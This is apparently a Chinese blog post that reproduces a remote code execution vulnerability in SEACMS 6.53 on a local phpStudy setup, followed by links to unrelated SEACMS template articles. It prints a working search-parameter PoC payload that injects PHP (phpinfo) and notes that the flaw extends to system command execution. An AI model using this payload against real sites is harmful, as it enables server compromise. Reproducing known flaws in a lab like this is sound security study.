海洋cms(SEACMS 6.53)环境搭建及漏洞利用
0x00搭建环境
mysql+php 用phpstudy即可
开始搭建, 将uploads里的所有文件复制到网站服务器中
包里有安装说明
0x01 开始复现
安装完毕后进入主页
设置代理127.0.0.1 8080端口, 打开BurpSuite抓包
这里直接用网上的poc
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();
我们复制过来看看效果
改好直接forward 过我们看下效果
0x02 漏洞利用
进一步利用,可以执行系统命令
更多文章
-
海洋cms模板标签大全(收藏级)
海洋cms以其免费开源、采集功能强大著称,吸引了越来越影视站长。那么在使用海洋cms过程中,模板标签是必须要掌握的。下面是整理的海洋cms模板标签大全,对于做站朋友,一定有用,赶快收藏起来吧!海洋cms模板标签目录00.相关必要说明 01.全局标签 02.自定义标签 03.if标签和嵌套if标签subif(支持php语句、多e
-
海洋cms模板更换及安装教程
很多刚使用海洋cms站长朋友,不知道如何更换模板及安装,下面就详细的图文教程,快来学习! 第一步,从免费海洋cms模板下载网站(http://www.dongliancnc.com),选择喜好的模板并下载,特别说明都是人工测试过的模板,保证使用哦。 第二步,将模板压缩包,上传文件到网站templets目录下
-
海洋cms海洋自定义Redis缓存服务器配置
如果您的Redis缓存服务使用了密码,或者需要修改Redis服务器地址和端口,需要修改下面两个文件:文件1:include/common.redis.func.php(共5处修改)文件2:admin/admin_ajax.php(共1处修改,admin请对应实际后台目录)修改服务器地址和端口:$re
-
海洋cms使用JQ实现播放列表分页显示
海洋CMS的播放列表没有分页功能,可以使用JS来实现分页显示的效果。
-
海洋cms模板制作基础语法
海洋cms模板标签类似于XML格式,所有的模板都含有定界符, 默认情况下是{seacms:*}和{/seacms:*},“*”代表模板标记名称。 一般情况下{seacms:*}和{/seacms:*}是成对出现的例如:{seacms:videolist num=5}
<